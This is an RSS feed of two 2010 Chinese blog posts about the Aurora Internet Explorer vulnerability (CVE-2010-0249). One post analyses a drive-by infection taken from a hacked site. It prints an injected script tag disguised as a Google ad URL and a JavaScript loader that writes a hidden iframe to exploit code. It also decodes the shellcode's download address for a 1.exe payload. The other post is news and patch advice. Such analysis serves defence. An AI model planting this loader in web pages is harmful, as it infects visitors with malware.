<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>奋斗Blog &#187; shellcode</title>
	<atom:link href="http://www.fendou.info/tag/shellcode/feed" rel="self" type="application/rss+xml" />
	<link>http://www.fendou.info</link>
	<description>Wordpress&#124;Web2.0&#124;Network&#124;Twitter&#124;Search Engine</description>
	<lastBuildDate>Sat, 14 Aug 2010 15:27:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>极光(CVE-2010-0249)IE 0day漏洞 Shellcode</title>
		<link>http://www.fendou.info/network/aurora-ie-0day-shellcode.html</link>
		<comments>http://www.fendou.info/network/aurora-ie-0day-shellcode.html#comments</comments>
		<pubDate>Sun, 31 Jan 2010 06:11:03 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[网络技术]]></category>
		<category><![CDATA[CVE-2010-0249]]></category>
		<category><![CDATA[IE 0day]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[杀毒软件]]></category>
		<category><![CDATA[极光]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.fendou.info/?p=870</guid>
		<description><![CDATA[在网络媒体报道极光漏洞第二天网上就有极光的Shellcode流出，我从一个被挂马的网站上也抓回一个，在自己机器上测试确实像传说中的一样“不弹，不卡”，就像当年的MS06014。但我在测试过程中发现我抓到的极光的Shellcode只有在IE6下才有效，跟网上报道的有很大出入，在没打补丁的IE7下测试都不能正常执行。]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.fendou.info/network/ms-internet-explorer-aurora-exploit.html">极光IE 0day漏洞</a>出来好多天了，各种杀毒软件公司极力宣传极光(CVE-2010-0249)IE 0day漏洞多么可怕，什么一打开网页就中招，什么被入侵电脑的游戏帐号可能被盗，银行帐号多么危险。我看这就是一个噱头，无非是骗骗菜鸟在电脑上安装个只占内存不杀毒的垃圾软件，自己的网站服务器都被挂马，还能指望它杀毒？！</p>
<p>在网络媒体报道极光漏洞第二天网上就有极光的Shellcode流出，我从一个被挂马的网站上也抓回一个，在自己机器上测试确实像传说中的一样“不弹，不卡”，就像当年的MS06014。但我在测试过程中发现我抓到的极光的Shellcode只有在IE6下才有效，跟网上报道的有很大出入，在没打补丁的IE7下测试都不能正常执行。</p>
<p>这几天也在关注什么网站被挂马，好第一时间抓个回来，希望能抓到那个被利用攻击谷歌的shellcode。之前公布的极光IE 0day(CVE-2010-0249) 测试 http://www.fendou.info/x/aurora/ 就是针对IE6的。给大家分析一下这马到底是怎么挂到网站上去的。<span id="more-870"></span></p>
<p><strong>首先是要入侵网站拿到网站的webshell</strong></p>
<p>拿到网站的额webshell后，就可以直接编辑网站的页面。</p>
<p><strong>在网页上插入挂马代码</strong></p>
<p>我抓到的挂马代码写的特别巧妙，很值得借鉴呢，看下面代码，模仿的谷歌广告代码调用的脚本地址，而且是调用的图片，如果不仔细看是看不出来的。只要在网页上插入这么一段代码，马挂上了。</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script src<span style="color: #339933;">=</span>http<span style="color: #339933;">:</span><span style="color: #006600; font-style: italic;">//pagead2.googlesyndication.xx.xx/pagead/logo.gif&gt;&lt;/script&gt;</span></pre></div></div>

<p>这个图片地址空间是挂马者自己的租用的空间，域名模仿了一些知名网络服务的域名，目的就是让人不易察觉。下面看看这个logo.gif到底是什么东西。</p>
<p>下载回来用写字板打开这个图片文件(其实写字板能打开的文件类型很多哦)内如如下：</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> Get<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">function</span> Get<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #003366; font-weight: bold;">var</span> Then <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Date<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> 
Then.<span style="color: #660066;">setTime</span><span style="color: #009900;">&#40;</span>Then.<span style="color: #660066;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #CC0000;">24</span><span style="color: #339933;">*</span><span style="color: #CC0000;">60</span><span style="color: #339933;">*</span><span style="color: #CC0000;">60</span><span style="color: #339933;">*</span><span style="color: #CC0000;">1000</span><span style="color: #009900;">&#41;</span>
<span style="color: #003366; font-weight: bold;">var</span> cookieString <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> String<span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #009900;">&#41;</span>
<span style="color: #003366; font-weight: bold;">var</span> cookieHeader <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Cookie1=&quot;</span> 
<span style="color: #003366; font-weight: bold;">var</span> beginPosition <span style="color: #339933;">=</span> cookieString.<span style="color: #660066;">indexOf</span><span style="color: #009900;">&#40;</span>cookieHeader<span style="color: #009900;">&#41;</span>
<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>beginPosition <span style="color: #339933;">!=</span> <span style="color: #339933;">-</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> 
<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> 
<span style="color: #009900;">&#123;</span> 
document.<span style="color: #660066;">cookie</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Cookie1=risb;expires=&quot;</span><span style="color: #339933;">+</span> Then.<span style="color: #660066;">toGMTString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
document.<span style="color: #660066;">writeln</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&lt;iframe src=http://pagead2.googlesyndication.xx.xx/pagead/aurora.htm width=0 height=0&gt;&lt;/iframe&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>Get<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>挂马者考虑的还很全面居然写了cookies防止重复中马。其中iframe调用的就是极光的shellcode了。<a href="http://www.fendou.info/x/aurora/aurora.txt" target="_blank">查看代码</a></p>
<p>我在这段代码中加了一行防止杀毒软件“误杀” Shellcode最终下载并运行的东西存在var u=swyice里面，十六进制转换加密的。用UE就能查看原来的内容内容%u7468%u7074 ->74 68 70 74 ->thpt ->http 看到这儿就能看出Shellcode执行的文件的地址是存在这里的，全部解开后就是：</p>
<p>http://pagead2.googlesyndication.xx.xx/pagead/1.exe</p>
<p>这个1.exe就是最终要在电脑中运行的文件。</p>
<p>后记：<br />
1.极光(CVE-2010-0249)IE 0day漏洞 Shellcode <a href="http://www.fendou.info/x/aurora/shellcode.htm" target="_blank">解密工具</a><br />
2.IE漏洞实在太多，建议换FireFox浏览器或者其他非IE核心的浏览器。<br />
3.杀毒软件不是万能的，别以为装个杀毒软件就什么网站都上。</p>
<h3>相关日志</h3><ul><li><a href="http://www.fendou.info/network/ms-internet-explorer-aurora-exploit.html" title="极光漏洞 最新IE 0day漏洞 2010.01.19">极光漏洞 最新IE 0day漏洞</a>(8)</li>
<li><a href="http://www.fendou.info/favorite/vc-dll-dynamic-link-library-example.html" title="VC 动态调用DLL导出函数例子 2010.04.11">VC 动态调用DLL导出函数例子</a>(0)</li>
</ul>
	标签：<a href="http://www.fendou.info/tag/cve-2010-0249" title="CVE-2010-0249" rel="tag">CVE-2010-0249</a>, <a href="http://www.fendou.info/tag/ie-0day" title="IE 0day" rel="tag">IE 0day</a>, <a href="http://www.fendou.info/tag/shellcode" title="shellcode" rel="tag">shellcode</a>, <a href="http://www.fendou.info/tag/%e6%9d%80%e6%af%92%e8%bd%af%e4%bb%b6" title="杀毒软件" rel="tag">杀毒软件</a>, <a href="http://www.fendou.info/tag/%e6%9e%81%e5%85%89" title="极光" rel="tag">极光</a>, <a href="http://www.fendou.info/tag/%e6%bc%8f%e6%b4%9e" title="漏洞" rel="tag">漏洞</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.fendou.info/network/aurora-ie-0day-shellcode.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>极光漏洞 最新IE 0day漏洞</title>
		<link>http://www.fendou.info/network/ms-internet-explorer-aurora-exploit.html</link>
		<comments>http://www.fendou.info/network/ms-internet-explorer-aurora-exploit.html#comments</comments>
		<pubDate>Tue, 19 Jan 2010 04:35:17 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[网络技术]]></category>
		<category><![CDATA[360]]></category>
		<category><![CDATA[IE 0day]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[极光]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[补丁]]></category>

		<guid isPermaLink="false">http://www.fendou.info/?p=812</guid>
		<description><![CDATA[早上一起来就看到360提示又报爆IE 0day漏洞 - 极光IE 0day漏洞，还提供了最新漏洞补丁。所谓的0day就是指最新发现的漏洞，0day强调了这个漏洞是最新的。

网上新闻说微软要2周后才能推出极光漏洞相关的系统补丁，这次360及时发布临时漏洞补丁又抢了很大风头。对一般的网民来说系统有漏洞就得补，就好像自家的房屋有个漏洞一样，而360就充当了免费的泥瓦匠。

对那些非IE用户及时打补丁是很有必要的，比如我平时上网都用firefox的，但是操作系统的其他软件会调用IE，比如outlook，千千静听，影音风暴等等。虽然这些软件中的广告不会带有shellcode，但是如果在局域网中通过arp欺骗可以轻易在浏览的正常网页中插入，让你不知不觉就中招了。]]></description>
			<content:encoded><![CDATA[<p>早上一起来就看到360提示又报爆IE 0day漏洞 &#8211; <strong>极光IE 0day漏洞</strong>(CVE-2010-0249)还提供了最新漏洞补丁。所谓的0day就是指最新发现的漏洞，0day强调了这个漏洞是最新的。</p>
<p>网上新闻说微软要2周后才能推出极光漏洞相关的系统补丁，这次360及时发布临时漏洞补丁又抢了很大风头。对一般的网民来说系统有漏洞就得补，就好像自家的房屋有个漏洞一样，而360就充当了免费的泥瓦匠。</p>
<p>对那些非IE用户及时打补丁同样很有必要，比如我平时上网都用firefox的，但是操作系统的其他软件会调用IE，比如outlook，千千静听，影音风暴等等。虽然这些软件中的广告不会带有shellcode，但是如果在局域网中通过arp欺骗可以轻易在浏览的正常网页中插入，让你不知不觉就中招了。</p>
<p>什么是shellcode呀？shellcode就是利用漏洞能在你浏览特定网页的时候，不经过你确认直接运行shellcode构造者指定的应用程序，如果这些程序是木马，那你的电脑就成为传说中的肉鸡了。</p>
<p>在网上搜索相关的新闻发现这个漏洞并不是今天爆出的，国外在1月17号就发布了 <a href="http://inj3ct0r.com/exploits/10106">MS Internet Explorer Aurora Exploit</a>。相信不久利用的这个漏洞的网马会十分流行。大家抓紧时间打个补丁吧。<span id="more-812"></span></p>
<p><span style="color: red;"><strong>==&gt;<a href="http://dl.360safe.com/360ietagpatch.exe" target="_blank">点此下载“极光”IE0day漏洞临时补丁</a></strong></span></p>
<h3>相关日志</h3><ul><li><a href="http://www.fendou.info/network/aurora-ie-0day-shellcode.html" title="极光(CVE-2010-0249)IE 0day漏洞 Shellcode 2010.01.31">极光(CVE-2010-0249)IE 0day漏洞 Shellcode</a>(2)</li>
</ul>
	标签：<a href="http://www.fendou.info/tag/360" title="360" rel="tag">360</a>, <a href="http://www.fendou.info/tag/ie-0day" title="IE 0day" rel="tag">IE 0day</a>, <a href="http://www.fendou.info/tag/shellcode" title="shellcode" rel="tag">shellcode</a>, <a href="http://www.fendou.info/tag/%e6%9e%81%e5%85%89" title="极光" rel="tag">极光</a>, <a href="http://www.fendou.info/tag/%e6%b5%8f%e8%a7%88%e5%99%a8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.fendou.info/tag/%e6%bc%8f%e6%b4%9e" title="漏洞" rel="tag">漏洞</a>, <a href="http://www.fendou.info/tag/%e8%a1%a5%e4%b8%81" title="补丁" rel="tag">补丁</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.fendou.info/network/ms-internet-explorer-aurora-exploit.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
